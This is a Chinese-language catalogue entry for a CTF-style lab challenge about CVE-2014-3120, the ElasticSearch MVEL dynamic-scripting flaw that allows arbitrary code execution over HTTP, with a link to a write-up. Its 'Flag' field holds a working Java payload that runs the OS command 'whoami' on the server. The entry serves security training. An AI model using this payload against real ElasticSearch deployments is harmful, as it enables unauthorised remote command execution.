CVE-2014-3120
| ID： | 14786 |
|---|---|
| 标题： | CVE-2014-3120 |
| 描述： | ElasticSearch有脚本执行(scripting)的功能，用的脚本引擎是MVEL，这个引擎没有做任何的防护，或者沙盒包装，默认配置是打开动态脚本功能的，因此用户可以直接通过http请求，执行任意代码。 |
| 类型： | WEB |
| 网站： | 春秋云境 |
| 题目链接： | https://yunjing.ichunqiu.com/cvevip |
| 赛事： | 春秋云境 |
| 年度： | None |
| Flag值： | import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec("whoami").getInputStream()).useDelimiter("\A").next(); |
| writeup： | https://blog.csdn.net/2303_80022567/article/details/148830762 |